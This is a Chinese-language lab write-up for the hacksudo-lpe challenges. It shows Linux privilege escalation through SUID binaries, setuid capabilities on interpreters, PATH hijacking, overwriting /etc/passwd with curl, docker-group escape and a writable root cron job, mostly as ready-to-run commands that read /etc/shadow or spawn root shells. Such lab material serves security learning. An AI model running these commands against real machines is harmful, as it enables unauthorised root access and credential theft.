前言
靶场:hacksudo-lpe
的后几个challenge
基于上篇靶场hacksudo-ple
的sudo
提权
SUID文件提权
ar文件提权
使用find
寻找具有SUID权限的文件
shell
find / -perm -u=s -type f 2>/dev/null
查看ar
的SUID用法
shell
sudo install -m =xs $(which ar) .
TF=$(mktemp -u)
LFILE="/etc/shadow"
./ar r "$TF" "$LFILE"
cat "$TF"
可以看到用法是越权查看文件
sh提权
这个文件名可能不一样,但是性质是一样的,也就是名称不同。
使用find
寻找具有SUID权限文件
shell
find / -perm -4000 -exec ls -al {} \; 2>/dev/null
因为是可执行文件,使用strings
查看,因为内容太多,这里我是先直接执行,发现另起一个shell
终端,并且还是当前用户的终端,所以,猜测是执行sh
shell
./bash -p
所以直接使用即可
切换用户提权
使用find
寻找具有SUID权限文件
shell
find / -perm -4000 -print 2>/dev/null
因为知道密码,所以直接替换后,使用上一个进行提取即可
base32
使用find
寻找具有SUID权限文件
shell
find / -perm -u=s -type f 2>/dev/null
测试发现是base32
,那么就可以直接进行越权读取
bash提取
使用find
寻找
shell
find / -perm -4000 -user root -exec ls -al {} \; 2>/dev/null
查看文件类型,属于可执行文件,尝试查看帮助,发现是命令bash
本身
使用bash -p
即可提取
cat提取
使用find
寻找具有SUID权限文件
shell
find / -perm -4000 -print 2>/dev/null
查看文件类型,发现是可执行文件,并且查看帮助,确定为cat
命令
那么直接使用查看,越权查看文件
chmod提取
使用find
寻找具有SUID权限文件
shell
find / -perm -u=s -type f 2>/dev/null
查看文件类型,发现是可执行文件,并且测试帮助,确定为chmod
命令
那么修改文件为其他人可读可写可执行即可,不过注意,修改时,有时父目录也是有权限限制的,这个别忘了修改
chroot提取
使用find
寻找具有SUID权限文件
shell
find / -perm -4000 -user root -print 2>/dev/null
查看文件类型,为可执行文件,并且查看帮助,确定是命令chroot
shell
./chroot / /bin/sh -p
#即可提取
cp提取
使用find
寻找具有SUID权限文件
shell
find / -perm -u=s -type f 2>/dev/null
查看文件类型为可执行文件,并查看帮助,确定为cp
命令
与之前使用sudo
的cp
进行提取用法差不多
三种方法,复制并读取,复制写入,第三种记录一下,之前并没碰到
shell
LFILE="/etc/shadow"
./cp --attributes-only --preserve=all ./cp "$LFILE"
CPUlimit提取
使用find
寻找具有SUID权限的文件
shell
find / -perm -4000 -user root -print 2>/dev/null
查看文件类型为可执行文件,并且确定命令为CPUlimit
查看使用方法
shell
./cpulimit -l 100 -f -- /bin/sh -p
cut提取
使用find
寻找具有SUID权限文件
shell
find / -perm -u=s -type f 2>/dev/null
查看文件类型为可执行文件,并查看帮助,确定为命令cut
用法与使用sudo
提取时一样
shell
LFILE="/etc/shadow"
./cut -d "" -f1 "$LFILE"
sh提取
使用find
寻找具有SUID权限文件
shell
find / -perm -4000 -exec ls -al {} \; 2>/dev/null
查看文件类型为可执行文件,并且测试发现是sh
,直接使用sh -p
提取即可
date提取
使用find
寻找具有SUID权限文件
shell
find / -perm -4000 -print 2>/dev/null
查看文件类型为可执行文件,查看帮助确定为命令date
用法与具有sudo
权限是一样的
shell
date -f "/etc/shadow"
make提取
使用find
寻找具有SUID权限文件
shell
find / -perm -4000 -print 2>/dev/null
查看文件类型为可执行文件,并且测试,大概率为make
命令
用法
shell
COMMAND='/bin/sh -p'
./make -s --eval=$'x:\n\t-'"$COMMAND"
脚本语言Capabilities 提权
gdb语言
使用find
命令寻找对于其他用户也是可以执行gdb
的文件
shell
find / -type f -executable 2>/dev/null | xargs /usr/sbin/getcap -r 2>/dev/null
查看用法,可以看到是查看是否具有ep
权限的,可以使用getcap
查看,这里getcap
环境变量问题,可以先找到其位置,xargs
就是把前面的输出作为getcap
的目标
shell
./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit
node语言
使用find
寻找
shell
find / -name "getcap" 2>/dev/null
find / -type f -executable 2>/dev/null | xargs /usr/sbin/getcap -r 2>/dev/null
查看用法
shell
cp $(which node) .
sudo setcap cap_setuid+ep node
./node -e 'process.setuid(0); require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'
测试,发现无权限使用setcap
,那就无法修改,无法提取,只能到此
perl语言
之前确认了getcap
的命令位置,以及可使用,所以,直接搜索
shell
find / -type f -executable 2>/dev/null | xargs /usr/sbin/getcap -r 2>/dev/null
查看用法
shell
cp $(which perl) .
sudo setcap cap_setuid+ep perl
./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
这里因为在当前用户目录下,有权限,并且满足条件。所以可以到目录下直接使用
php语言
使用find
寻找
shell
find / -type f -executable 2>/dev/null | xargs /usr/sbin/getcap -r 2>/dev/null
查看用法
shell
cp $(which php) .
sudo setcap cap_setuid+ep php
CMD="/bin/sh"
./php -r "posix_setuid(0); system('$CMD');"
进行提取
python语言
使用find
寻找
shell
find / -type f -executable 2>/dev/null | xargs /usr/sbin/getcap -r 2>/dev/null
查看用法
shell
cp $(which python) .
sudo setcap cap_setuid+ep python
./python -c 'import os; os.setuid(0); os.system("/bin/sh")'
ruby语言
使用find
寻找
shell
find / -type f -executable 2>/dev/null | xargs /bin/sbin/getcap -r 2>/dev/null
查看用法
shell
cp $(which ruby) .
sudo setcap cap_setuid+ep ruby
./ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'
python3语言
使用find
寻找
shell
find / -type f -executable 2>/dev/null | xargs /usr/sbin/getcap -r 2>/dev/null
查看用法
shell
cp $(which python) .
sudo setcap cap_setuid+ep python
./python -c 'import os; os.setuid(0); os.system("/bin/sh")'
与python2
是一样的,都是python
语言,只是版本不同
环境变量提权
apt-get临时变量
使用find
寻找具有SUID权限的文件
shell
find / -perm -u=s -type f 2>/dev/null
不过测试,发现应该是调用apt-get
,为什么呢,因为不管传参是什么都不会被接收,说明该文件本身不是apt
,而是调用的
既然是调用,那么就可以考虑环境变量,利用export
设置临时变量,并且是具有优先权的,这个最好是在/tmp
目录下新建apt-get
,因为这是权限允许范围内的。
然后把文件给予执行权限,执行shell
时,就会提权成功
ftp临时变量
使用find
寻找具有SUID权限的文件
shell
find / -perm -u=s -type f 2>/dev/null
测试文件发现,涉及到ftp
,并且并不是ftp
命令,参数无法接收,也就是其调用了ftp
,那么尝试设置临时变量来覆盖,与上面一样,最好是在/tmp
目录进行
可写文件滥用提权
利用curl
使用find
寻找具有SUID权限的文件,不过这里找到的是curl
shell
find - perm -u=s -type f 2>/dev/null
在上一篇的sudo
提权文章中,个人以为只能下载,后又研究一下 ,发现不止是http
协议,也是可以利用file
协议与curl
配合,所以就可以进行读取本地文件或写入本地文件
shell
【curl写入】
LFILE=file_to_write
TF=$(mktemp)
echo DATA >$TF
curl "file://$TF" -o "$LFILE"
【curl读取】
LFILE=/tmp/file_to_read
curl file://$LFILE
复制/etc/passwd
文件,然后修改这个复制id文件,再通过curl
重新覆盖原本的/etc/passwd
文件
使用su
命令切换到自己本身的用户,因为知道自己本身的密码
利用具有SUID的py文件
使用find
寻找具有SUID权限文件
shell
find /-perm -4000 -print 2>/dev/null
可以看到这个python
文件,具有SUID权限,但是不能直接写入,因为其所属者和所属组都是root
,且其他人无写入权限,不过这里导入两个包os
和sys
,寻找这两个包,看其权限,发现并未有权限
shell
find / -name "os.py" -exec ls -l {} \; 2>/dev/null
寻找导入模块os.py
位置以及权限,是否可写
但是发现寻找sys.py
,确没有这个文件,那么能否自己写这个包呢,进行测试,也是无权限写入
这就不知道该怎么提权了,又不能写入
可读文件滥用提权
cpio提权
使用find
寻找具有SUID权限的文件
shell
find / -perm -u=s -type f 2>/dev/null
测试发现,本身就是命令cpio
,查看用法,发现该命令可进行读、写等操作
链接https://gtfobins.github.io/gtfobins/cpio/#suid
shell
【读文件内容】
LFILE="/root/root.txt"
TF=$(mktemp -d)
echo "$LFILE" | ./cpio -R $UID -dp $TF
cat "$TF/$LFILE"
或者
echo "/root/root.txt" | cpio -o
git提权
使用find
寻找具有SUID权限的文件
shell
find / -perm -4000 -print 2>/dev/null
查看其用法,可用的操作很多,尤其是具有SUID权限
链接https://gtfobins.github.io/gtfobins/git/#limited-suid
shell
【读取文件内容】
./git diff /dev/null /root/root.txt
测试获取shell
,发现不行,当前只能读取文件内容
docker提权
当使用find
等搜索无发现时,查看id
发现,当前用户处于docker
,不过docker
中并无任何镜像
在进行docker
逃逸时,常用的镜像就是alpine
因为docker
默认源是在国外,并且大部分的docker
源可能都失效,所以这里在kali
中先下载镜像,然后导出,再使用靶机下载
靶机导入
查看用法,大致都是这一种
shell
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
通配符滥用
这里其实就需要构造条件来满足,但是这里并无条件,需要自己使用root
先创建条件,这里可以看参考链接学习https://www.freebuf.com/articles/system/176255.html
crontab定时提权
使用find
寻找具有SUID权限用户发现暂无,使用find
寻找capabilities
的特权文件,发现暂无。
查看定时任务,一般使用crontab
可查看文件/etc/crontab
发现定时任务,每一分钟执行这个python
文件
这个文件可以写入,查看文件内容
那么自己写入一个唤起bash
终端,因为所有者是root
,所以导致提权成功
当然,这是需要等待一分钟的时间,也就是当定时任务执行的时候
总结
通过该挑战可以学习到各种方式的提权,并且是不依赖漏洞的。
大部分基于SUID和sudo
进行提权的
以及一个环境变量和capabilities
的权限
对于一些文件的修改,而可以间接提权